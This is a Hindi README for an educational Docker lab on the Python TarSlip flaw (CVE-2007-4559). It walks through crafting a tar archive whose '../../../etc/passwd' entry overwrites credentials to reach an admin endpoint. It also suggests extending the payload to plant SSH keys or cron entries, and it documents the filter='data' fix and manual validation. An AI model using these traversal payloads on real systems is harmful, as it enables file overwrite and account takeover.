स्व-निहित डॉकर लैब जो CVE-2007-4559 (TarSlip) डायरेक्टरी ट्रैवर्सल को पायथन के tarfile मॉड्यूल के माध्यम से प्रदर्शित करता है। इसमें असुरक्षित और सुरक्षित APIs, पेलोड जनरेशन, और सुरक्षा शिक्षा के लिए एक इंटरैक्टिव डेमो स्क्रिप्ट शामिल है।
केवल शैक्षिक उपयोग के लिए। यह लैब जानबूझकर आइसोलेटेड डॉकर कंटेनरों के अंदर फाइल सिस्टम की कमजोरियों का शोषण करती है। इसे संवेदनशील डेटा वाले किसी भी सिस्टम या प्रोडक्शन वातावरण में न चलाएं।
एक स्व-निहित डॉकर लैब जो CVE-2007-4559 — पायथन के tarfile मॉड्यूल में कुख्यात "TarSlip" भेद्यता — को एक ठोस, एंड-टू-एंड अटैक श्रृंखला के माध्यम से प्रदर्शित करता है:
extractall() आँख मूंदकर ../../../etc/passwd नामक एक टार प्रविष्टि को निष्कर्षण निर्देशिका के बाहर लिखता है, वास्तविक सिस्टम फ़ाइल को अधिलेखित करता है।/admin एंडपॉइंट तक पहुंच प्रदान करता है।पायथन का tarfile.extractall() टार आर्काइव में प्रत्येक प्रविष्टि को ईमानदारी से पुन: उत्पन्न करता है, जिसमें वे प्रविष्टियाँ भी शामिल हैं जिनके नामों में पथ ट्रैवर्सल अनुक्रम होते हैं। इसे ।
../tar entry name : ../../../etc/passwd
extraction dir : /shared/uploads/a1b2c3d4/
resolved path : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← system file overwritten
| समयरेखा | |
|---|---|
| 2007 | पायथन सुरक्षा टीम को बग की सूचना दी गई |
| 2007 – 2022 | "सुरक्षा मुद्दा नहीं" के रूप में चिह्नित — tarfile "इच्छित रूप से काम कर रहा है" |
| 2022 | ट्रेलिक्स शोधकर्ता GitHub को स्कैन करते हैं और 350,000+ रेपो पाते हैं जो अविश्वसनीय इनपुट पर extractall() कॉल करते हैं |
| 2022 | सार्वजनिक खुलासा। CVE-2007-4559 पुन: उभरता है। उद्योग-व्यापी हड़बड़ी। |
| 2023 | PEP 706 पायथन 3.12 में filter='data' शिप करता है — फिक्स एक एकल तर्क है |
डेमो तीन चरणों में चलता है, प्रत्येक को आगे बढ़ने के लिए एक कीप्रेस की आवश्यकता होती है।
GET /admin → 401। एडमिन एंडपॉइंट मौजूद है और संरक्षित है। हमलावर को पासवर्ड नहीं पता है।innocent.tar.gz अपलोड करें → फ़ाइलें सैंडबॉक्स निर्देशिका के अंदर लैंड करती हैं। सब कुछ सामान्य दिखता है।हमलावर tarslip_passwd.tar.gz क्राफ्ट करता है
└─ entry: "../../../etc/passwd"
content: admin:hacked:1001:... ← planted password
│
▼
POST /upload (multipart file upload)
│
▼
extractall("/shared/uploads/{uuid}/")
resolves "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Welcome, admin! You have full admin access."
flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
एक HTTP POST। कोई शेल नहीं। कोई RCE पेलोड नहीं। सिर्फ एक टार फ़ाइल।
वही टारबॉल फिक्स्ड API पर अपलोड की जाती है, जो extractall() में filter='data' पास करती है। पायथन tarfile.OutsideDestinationError उठाता है — ट्रैवर्सल अवरुद्ध हो जाता है, /etc/passwd अछूता रहता है, और /admin लॉक रहता है।
# Vulnerable — default before Python 3.14
tar.extractall(extraction_dir)
# Fixed — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
एक तर्क। पंद्रह साल शिप करने में।
एक आइसोलेटेड डॉकर ब्रिज नेटवर्क (tarslip-net) पर चार सेवाएँ। कुछ भी इंटरनेट तक नहीं पहुँचता।
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ port 8000 │ │ port 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ /shared पर HTTP सेवा │ │
│ │ GET /admin │ │ निकाली गई फ़ाइलें ब्राउज़ │ │
│ │ GET /health │ │ करता है │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ shared-storage volume │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (कोई होस्ट पोर्ट नहीं — केवल आंतरिक) │
│ │ │ │
│ │ craft_malicious.py — टारबॉल जनरेट करता है │
│ │ demo.py — डेमो चलाता है │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
| सेवा | छवि | भूमिका | होस्ट पोर्ट |
|---|---|---|---|
vulnerable-api | python:3.11.3-slim | Flask अपलोड API + /etc/passwd प्रमाणीकरण द्वारा संरक्षित /admin | 8000 |
fixed-api | python:3.12-slim | समान कोड + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | निकाली गई फ़ाइलों की निर्देशिका सूची | 8080 |
attacker | python:3.12-slim | पेलोड जनरेटर + डेमो ड्राइवर | — |
भेद्य और फिक्स्ड APIs समान स्रोत कोड का उपयोग करते हैं। एकमात्र अंतर फिक्स्ड कंटेनर पर USE_SAFE_EXTRACTION=true एनवायरनमेंट वेरिएबल है, जो एकल filter='data' तर्क को फ्लिप करता है।
CVE-2007-4559-lab/
├── run_demo.sh ← यहाँ से शुरू करें
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # /etc/passwd में admin:s3cr3t_Adm1nPass बीजित करता है
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # innocent.tar.gz + tarslip_passwd.tar.gz जनरेट करता है
├── demo.py # चार-मोड CLI ड्राइवर (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bash का उपयोग करती हैgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
स्क्रिप्ट पूरी तरह से इंटरैक्टिव है। यह प्रत्येक चरण से पहले एक विवरण प्रिंट करती है और आगे बढ़ने के लिए Enter की प्रतीक्षा करती है। अनुसरण करने के लिए किसी पूर्व डॉकर ज्ञान की आवश्यकता नहीं है।
| विराम | दिखाया गया विवरण | Enter पर कार्रवाई |
|---|---|---|
| 1 | CVE समयरेखा, तीन चरण क्या हैं | भेद्य स्टैक बनाएं |
| 2 | कंटेनर भूमिकाएँ, बीजित एडमिन पासवर्ड | पेलोड जनरेट करें |
| 3 | प्रत्येक टारबॉल के अंदर क्या है | चरण 1 — आधार रेखा (Baseline) |
| 4 | /admin 401 क्यों है, सामान्य निष्कर्षण कैसा दिखता है | चरण 2 — हमला (Exploit) |
| 5 | सटीक ट्रैवर्सल गणित, क्या अधिलेखित होता है | फिक्स्ड स्टैक पर स्विच करें |
| 6 | filter='data' क्या करता है और यह क्यों काम करता है | चरण 3 — सत्यापित करें (Verify) |
| 7 | मुख्य निष्कर्ष + व्यापक ZipSlip पैटर्न | टियरडाउन |
यदि आप मैन्युअल रूप से कदम उठाना चाहते हैं:
# भेद्य स्टैक
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# फिक्स्ड स्टैक
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# टियरडाउन
docker compose -f docker-compose.fixed.yml down
जब भेद्य स्टैक चल रहा हो, तो अपने ब्राउज़र में http://localhost:8080/uploads/ खोलें ताकि निकाली गई सत्र निर्देशिकाओं को ब्राउज़ कर सकें।
/admin एंडपॉइंट कैसे काम करता हैAPI इमेज बिल्ड समय पर /etc/passwd में एक गुप्त एडमिन पासवर्ड बीजित करता है:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin इस फ़ाइल को पढ़ता है और HTTP बेसिक ऑथ क्रेडेंशियल्स के विरुद्ध दूसरे फ़ील्ड (पासवर्ड) की जाँच करता है। हमलावर को s3cr3t_Adm1nPass नहीं पता है — लेकिन TarSlip द्वारा फ़ाइल को admin:hacked वाले अपने संस्करण से अधिलेखित करने के बाद, उन्हें पता चल जाता है।
यह वास्तविक दुनिया के लक्ष्यों का एक सरलीकृत मॉडल है: SSH authorized_keys, एप्लिकेशन कॉन्फ़िगरेशन फ़ाइलें, क्रॉन जॉब्स, और कोई भी क्रेडेंशियल फ़ाइल जिसे वेब प्रक्रिया लिख सकती है।
craft_malicious.py पायथन के अपने tarfile मॉड्यूल का उपयोग करता है — वही जिसमें बग है:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name ट्रैवर्सल पथ है
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# प्रविष्टि का नाम /shared/uploads/{uuid}/ में निकालने पर /etc/passwd पर रिज़ॉल्व होता है
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
कोई विशेष उपकरण नहीं। कोई बाइनरी शोषण नहीं। मानक पुस्तकालय ही हथियार और शिकार दोनों है।
पायथन 3.12 ने PEP 706 में filter= पेश किया। 'data' फ़िल्टर:
tarfile.OutsideDestinationError उठाता है# पहले (भेद्य — पायथन 3.14 तक डिफ़ॉल्ट)
with tarfile.open(path) as tar:
tar.extractall(dest)
# बाद में (सुरक्षित)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
पायथन 3.11 और पुराने के लिए, मैन्युअल रूप से मान्य करें:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"असुरक्षित पथ: {member.name}")
tar.extractall(dest)
स्थैतिक विश्लेषण: CI में असुरक्षित extractall() कॉल को फ़्लैग करने का bandit नियम B202।
TarSlip एक भेद्यता वर्ग के लिए पायथन का नाम है जो आर्काइव निष्कर्षण APIs वाली हर भाषा में मौजूद है:
| भाषा | भेद्य API | CVE / सलाह |
|---|---|---|
| पायथन | tarfile.extractall() | CVE-2007-4559 |
| जावा | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, अन्य | ZipSlip (2018) |
हर जगह एक ही मूल कारण: अविश्वसनीय आर्काइव से पथों पर भरोसा करना। हर जगह एक ही फिक्स: लिखने से पहले कैनोनिकलाइज़ और मान्य करें।
पहले/बाद के कोड अंतर और bandit B202 नियम पर ध्यान दें। लक्ष्य "हम अपने कोडबेस में इसे कैसे रोकें?" — PEP 706 माइग्रेशन गाइड और CI में चेक कैसे जोड़ें दिखाएँ।
ट्रेलिक्स खुलासा पद्धति पर ध्यान दें — उन्होंने बड़े पैमाने पर GitHub को कैसे खोजा, 350,000 रेपो में प्रभाव का अनुमान लगाया, और इतनी व्यापक भेद्यता के लिए जिम्मेदार खुलासा कैसे किया।
craft_malicious.py को विस्तारित करें ताकि /etc/passwd के बजाय एक SSH authorized_keys फ़ाइल या एक दुर्भावनापूर्ण क्रॉन प्रविष्टि लगाई जा सके। एक ही तकनीक, अलग-अलग लक्ष्य — दिखाता है कि कोई भी लिखने योग्य पथ हमले की सतह है।
MIT — शिक्षा, सुरक्षा अनुसंधान और सम्मेलन डेमो के लिए स्वतंत्र रूप से उपयोग करें। पेलोड जनरेशन तकनीकों का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं।